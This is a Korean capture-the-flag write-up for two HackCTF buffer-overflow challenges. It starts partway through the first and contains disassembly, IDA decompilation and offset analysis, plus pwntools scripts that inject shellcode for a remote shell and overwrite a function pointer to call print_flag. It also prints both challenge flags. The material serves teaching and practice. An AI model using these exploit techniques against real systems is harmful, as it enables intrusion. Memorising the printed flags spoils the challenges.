   0x0804863d <+272>:	test   eax,eax
   0x0804863f <+274>:	je     0x804865f <main+306>
   0x08048641 <+276>:	movzx  eax,BYTE PTR [ebp-0x89]
   0x08048648 <+283>:	cmp    al,0x79
   0x0804864a <+285>:	je     0x8048563 <main+54>
   0x08048650 <+291>:	movzx  eax,BYTE PTR [ebp-0x89]
   0x08048657 <+298>:	cmp    al,0x59
   0x08048659 <+300>:	je     0x8048563 <main+54>
   0x0804865f <+306>:	mov    eax,0x0
   0x08048664 <+311>:	add    esp,0x98
   0x0804866a <+317>:	pop    ebx
   0x0804866b <+318>:	pop    ebp
   0x0804866c <+319>:	ret    
End of assembler dump.

• 사용자의 입력은 $ebp-0x88에 저장
• ret까지의 offset은 buffer+sfp+ret으로 0x8c일 것으로 예상(컴파일 환경에 따라 dummy가 추가될 수 있어 확실하지 않음)
• main+88에 bp 걸어 임의의 입력 값 입력

• 사용자의 입력은 0xffffcfb0에 저장

• 0xffffd03c에서 __libc_start_main+231 확인
• 사용자의 입력~0x7fffffffde58까지의 offset = 140(0x8c)

문제 해결

💡shellcode + dummy(140-shellcode_bytes) + buffer_Address

Python2 - Shellcraft 이용

from pwn import *

p=remote('ctf.j0n9hyun.xyz', 3006)
e=ELF('./Simple_overflow_ver_2')

p.recvuntil(": ")
payload = "A"*4
p.sendline(payload)

buf = int(p.recv(10), 16)
p.recvuntil("(y/n):")
p.sendline("y")

shell = asm(shellcraft.sh())
payload = shell.ljust(140, "A")
payload += p32(buf)

p.sendline(payload)
p.interactive()

Python3 - Shellcraft 이용

from pwn import *

p=remote('ctf.j0n9hyun.xyz', 3006)
e=ELF('./Simple_overflow_ver_2')

p.recvuntil(": ")
payload = b"A"*4
p.sendline(payload)

buf = int(p.recv(10), 16)
p.recvuntil("(y/n):")
p.sendline("y")

shell = asm(shellcraft.sh())
payload = shell.ljust(140, b"A")
payload += p32(buf)

p.sendline(payload)
p.interactive()

flag

🍒 HackCTF{y0u_d1d_7h3_45516nm3n7_5ucc355fully!}

[문제]

[풀이]

• 32bit 바이너리
• 카나리 없음
• NX bit 존재
• PIE 있음

바이너리 실행

• 사용자로부터 입력받음
• 일정 길이 이상 입력할 경우 Segmentation fault 발생

IDA 분석 - main 함수

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+1h] [ebp-27h]@1
  int *v5; // [esp+20h] [ebp-8h]@1

  v5 = &argc;
  setvbuf(stdout, (char *)2, 0, 0);
  puts("Which function would you like to call?");
  gets(&s);
  select_func(&s);
  return 0;
}

• gets 함수로 사용자의 입력을 받고 있음. 입력 값에 대한 길이 검증을 수행하지 않음→ BOF 취약점 발생
• 사용자의 입력을 select_func 함수의 인자로 주며 호출

IDA 분석 - select_func 함수

int __cdecl select_func(char *src)
{
  char dest; // [esp+Eh] [ebp-2Ah]@1
  int (*v3)(void); // [esp+2Ch] [ebp-Ch]@1

  v3 = (int (*)(void))two;
  strncpy(&dest, src, 31);
  if ( !strcmp(&dest, "one") )
    v3 = (int (*)(void))one;
  return v3();
}

• 사용자의 입력 값은 src 변수로 활용
• dest에 사용자의 입력을 31byte만큼 복사
• dest 값이 one이면 one 함수 호출

• return v3() 부분을 one 함수 대신 print_flag 함수 주소로 overwrite할 수 있을 것으로 보임

IDA 분석 - one 함수

int one()
{
  return puts("This is function one!");
}

IDA 분석 - two 함수

int two()
{
  return puts("This is function two!");
}

IDA 분석 - print_flag 함수

int print_flag()
{
  char i; // al@1
  FILE *fp; // [esp+Ch] [ebp-Ch]@1

  puts("This function is still under development.");
  fp = fopen("flag.txt", "r");
  for ( i = _IO_getc(fp); i != -1; i = _IO_getc(fp) )
    putchar(i);
  return putchar(10);
}

• flag 획득할 수 있음

gdb 분석 - 함수 주소

pwndbg> info func
All defined functions:

Non-debugging symbols:
0x0000049c  _init
0x000004d0  strcmp@plt
0x000004e0  gets@plt
0x000004f0  _IO_getc@plt
0x00000500  puts@plt
0x00000510  __libc_start_main@plt
0x00000520  setvbuf@plt
0x00000530  fopen@plt
0x00000540  putchar@plt
0x00000550  strncpy@plt
0x00000560  __cxa_finalize@plt
0x00000568  __gmon_start__@plt
0x00000570  _start
0x000005b0  __x86.get_pc_thunk.bx
0x000005c0  deregister_tm_clones
0x00000600  register_tm_clones
0x00000650  __do_global_dtors_aux
0x000006a0  frame_dummy
0x000006a9  __x86.get_pc_thunk.dx
0x000006ad  two
0x000006d8  print_flag
0x00000754  one
0x0000077f  select_func
0x000007dc  main
0x0000084f  __x86.get_pc_thunk.ax
0x00000860  __libc_csu_init
0x000008c0  __libc_csu_fini
0x000008c4  _fini

• PIE로 offset만 확인 가능. 바이너리를 실행해야 주소가 할당됨.
• main offset: 0x000007dc
• select_func offset: 0x0000077f
• one offset: 0x00000754
• two offset: 0x000006ad
• print_flag offset: 0x000006d8

gdb 분석 - select_func 함수

pwndbg> disass select_func
Dump of assembler code for function select_func:
   0x0000077f <+0>:	push   ebp
   0x00000780 <+1>:	mov    ebp,esp
   0x00000782 <+3>:	push   ebx
   0x00000783 <+4>:	sub    esp,0x34
   0x00000786 <+7>:	call   0x5b0 <__x86.get_pc_thunk.bx>
   0x0000078b <+12>:	add    ebx,0x182d
   0x00000791 <+18>:	lea    eax,[ebx-0x190b]
   0x00000797 <+24>:	mov    DWORD PTR [ebp-0xc],eax
   0x0000079a <+27>:	sub    esp,0x4
   0x0000079d <+30>:	push   0x1f
   0x0000079f <+32>:	push   DWORD PTR [ebp+0x8]
   0x000007a2 <+35>:	lea    eax,[ebp-0x2a]
   0x000007a5 <+38>:	push   eax
   0x000007a6 <+39>:	call   0x550 <strncpy@plt>
   0x000007ab <+44>:	add    esp,0x10
   0x000007ae <+47>:	sub    esp,0x8
   0x000007b1 <+50>:	lea    eax,[ebx-0x1675]
   0x000007b7 <+56>:	push   eax
   0x000007b8 <+57>:	lea    eax,[ebp-0x2a]
   0x000007bb <+60>:	push   eax
   0x000007bc <+61>:	call   0x4d0 <strcmp@plt>
   0x000007c1 <+66>:	add    esp,0x10
   0x000007c4 <+69>:	test   eax,eax
   0x000007c6 <+71>:	jne    0x7d1 <select_func+82>
   0x000007c8 <+73>:	lea    eax,[ebx-0x1864]
   0x000007ce <+79>:	mov    DWORD PTR [ebp-0xc],eax
   0x000007d1 <+82>:	mov    eax,DWORD PTR [ebp-0xc]
   0x000007d4 <+85>:	call   eax
   0x000007d6 <+87>:	nop
   0x000007d7 <+88>:	mov    ebx,DWORD PTR [ebp-0x4]
   0x000007da <+91>:	leave  
   0x000007db <+92>:	ret    
End of assembler dump.

• select_func+73~85 부분에서 one 함수를 호출함
• ebp-0xc로 one 함수 주소를 저장하는 것으로 보아 입력 값과 둘간의 offset을 구하면 변조할 수 있을 것으로 보임
• select_func+69에 bp 걸어 임의의 입력 값 입력

• 사용자의 입력은 0xffffcfde에 저장

• one 함수 주소는 0xffffcffc에 저장

• 사용자의 입력~0xffffcffc까지의 offset = 30(0x1e)

문제 해결

💡 dummy(30) + print_flag_Address or offset

• PIE가 걸려있지만 base주소만 바뀌고 offset은 고정
• 1바이트 bof가 발생하므로 주소 offset의 하위 1바이트를 변조할 수 있음

Python2

from pwn import *

p=remote('ctf.j0n9hyun.xyz', 3007)
e=ELF('./offset')

p.recvuntil("?")
payload = "A"*30 + p32(e.symbols['print_flag']) //print_flag 전체 주소를 넣어도 하위 1바이트만 변조되기 때문에 정상적으로 입력됨
#payload = "A"*30 + p32(0xd8)

p.sendline(payload)
p.interactive()

Python3

from pwn import *

p=remote('ctf.j0n9hyun.xyz', 3007)
e=ELF('./offset')

p.recvuntil("?")
payload = b"A"*30 + p32(e.symbols['print_flag'])
#payload = b"A"*30 + p32(0xd8)

p.sendline(payload)
p.interactive()

flag

🍒 HackCTF{76155655017129668567067265451379677609132507783606}